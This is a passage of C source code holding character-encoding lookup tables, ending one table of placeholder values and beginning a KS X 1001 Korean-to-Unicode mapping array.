0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD
};
// Code page for KS X 1001 from KSX1001.TXT, with two new symbols that were
// added for KS X 1001:1998
// 1) "euro sign" U+20AC
// 2) "registered sign" 0x00AE
const unsigned short CodePageKSX1001[8836] = {
0x3000, 0x3001, 0x3002, 0x00B7, 0x2025, 0x2026, 0x00A8, 0x3003, 0x00AD,
0x2015, 0x2225, 0xFF3C, 0x223C, 0x2018, 0x2019, 0x201C, 0x201D, 0x3014,
0x3015, 0x3008, 0x3009, 0x300A, 0x300B, 0x300C, 0x300D, 0x300E, 0x300F,
0x3010, 0x3011, 0x00B1, 0x00D7, 0x00F7, 0x2260, 0x2264, 0x2265, 0x221E,
0x2234, 0x00B0, 0x2032, 0x2033, 0x2103, 0x212B, 0xFFE0, 0xFFE1, 0xFFE5,
0x2642, 0x2640, 0x2220, 0x22A5, 0x2312, 0x2202, 0x2207, 0x2261, 0x2252,
0x00A7, 0x203B, 0x2606, 0x2605, 0x25CB, 0x25CF, 0x25CE, 0x25C7, 0x25C6,
0x25A1, 0x25A0, 0x25B3, 0x25B2, 0x25BD, 0x25BC, 0x2192, 0x2190, 0x2191,
0x2193, 0x2194, 0x3013, 0x226A, 0x226B, 0x221A, 0x223D, 0x221D, 0x2235,
0x222B, 0x222C, 0x2208, 0x220B, 0x2286, 0x2287, 0x2282, 0x2283, 0x222A,
0x2229, 0x2227, 0x2228, 0xFFE2, 0x21D2, 0x21D4, 0x2200, 0x2203, 0x00B4,
0xFF5E, 0x02C7, 0x02D8, 0x02DD, 0x02DA, 0x02D9, 0x00B8, 0x02DB, 0x00A1,
0x00BF, 0x02D0, 0x222E, 0x2211, 0x220F, 0x00A4, 0x2109, 0x2030, 0x25C1,
0x25C0, 0x25B7, 0x25B6, 0x2664, 0x2660, 0x2661, 0x2665, 0x2667, 0x2663,
0x2299, 0x25C8, 0x25A3, 0x25D0, 0x25D1, 0x2592, 0x25A4, 0x25A5, 0x25A8,
0x25A7, 0x25A6, 0x25A9, 0x2668, 0x260F, 0x260E, 0x261C, 0x261E, 0x00B6,
0x2020, 0x2021, 0x2195, 0x2197, 0x2199, 0x2196, 0x2198, 0x266D, 0x2669,
0x266A, 0x266C, 0x327F, 0x321C, 0x2116, 0x33C7, 0x2122, 0x33C2, 0x33D8,
0x2121, 0x20AC, 0x00AE, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFF01,
0xFF02, 0xFF03, 0xFF04, 0xFF05, 0xFF06, 0xFF07, 0xFF08, 0xFF09, 0xFF0A,
0xFF0B, 0xFF0C, 0xFF0D, 0xFF0E, 0xFF0F, 0xFF10, 0xFF11, 0xFF12, 0xFF13,
0xFF14, 0xFF15, 0xFF16, 0xFF17, 0xFF18, 0xFF19, 0xFF1A, 0xFF1B, 0xFF1C,
0xFF1D, 0xFF1E, 0xFF1F, 0xFF20, 0xFF21, 0xFF22, 0xFF23, 0xFF24, 0xFF25,
0xFF26, 0xFF27, 0xFF28, 0xFF29, 0xFF2A, 0xFF2B, 0xFF2C, 0xFF2D, 0xFF2E,
0xFF2F, 0xFF30, 0xFF31, 0xFF32, 0xFF33, 0xFF34, 0xFF35, 0xFF36, 0xFF37,
0xFF38, 0xFF39, 0xFF3A, 0xFF3B, 0xFFE6, 0xFF3D, 0xFF3E, 0xFF3F, 0xFF40,
0xFF41, 0xFF42, 0xFF43, 0xFF44, 0xFF45, 0xFF46, 0xFF47, 0xFF48, 0xFF49,
0xFF4A, 0xFF4B, 0xFF4C, 0xFF4D, 0xFF4E, 0xFF4F, 0xFF50, 0xFF51, 0xFF52,
0xFF53, 0xFF54, 0xFF55, 0xFF56, 0xFF57, 0xFF58, 0xFF59, 0xFF5A, 0xFF5B,
0xFF5C, 0xFF5D, 0xFFE3, 0x3131, 0x3132, 0x3133, 0x3134, 0x3135, 0x3136,
0x3137, 0x3138, 0x3139, 0x313A, 0x313B, 0x313C, 0x313D, 0x313E, 0x313F,
0x3140, 0x3141, 0x3142, 0x3143, 0x3144, 0x3145, 0x3146, 0x3147, 0x3148,
0x3149, 0x314A, 0x314B, 0x314C, 0x314D, 0x314E, 0x314F, 0x3150, 0x3151,
0x3152, 0x3153, 0x3154, 0x3155, 0x3156, 0x3157, 0x3158, 0x3159, 0x315A,
0x315B, 0x315C, 0x315D, 0x315E, 0x315F, 0x3160, 0x3161, 0x3162, 0x3163,
0x3164, 0x3165, 0x3166, 0x3167, 0x3168, 0x3169, 0x316A, 0x316B, 0x316C,
0x316D, 0x316E, 0x316F, 0x3170, 0x3171, 0x3172, 0x3173, 0x3174, 0x3175,
0x3176, 0x3177, 0x3178, 0x3179, 0x317A, 0x317B, 0x317C, 0x317D, 0x317E,
0x317F, 0x3180, 0x3181, 0x3182, 0x3183, 0x3184, 0x3185, 0x3186, 0x3187,
0x3188, 0x3189, 0x318A, 0x318B, 0x318C, 0x318D, 0x318E, 0x2170, 0x2171,
0x2172, 0x2173, 0x2174, 0x2175, 0x2176, 0x2177, 0x2178, 0x2179, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0x2160, 0x2161, 0x2162, 0x2163, 0x2164,
0x2165, 0x2166, 0x2167, 0x2168, 0x2169, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD,
0xFFFD, 0xFFFD, 0xFFFD, 0x0391, 0x0392, 0x0393, 0x0394, 0x0395, 0x0396,
0x0397, 0x0398, 0x0399, 0x039A, 0x039B, 0x039C, 0x039D, 0x039E, 0x039F,
0x03A0, 0x03A1, 0x03A3, 0x03A4, 0x03A5, 0x03A6, 0x03A7, 0x03A8, 0x03A9,
0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0x03B1,
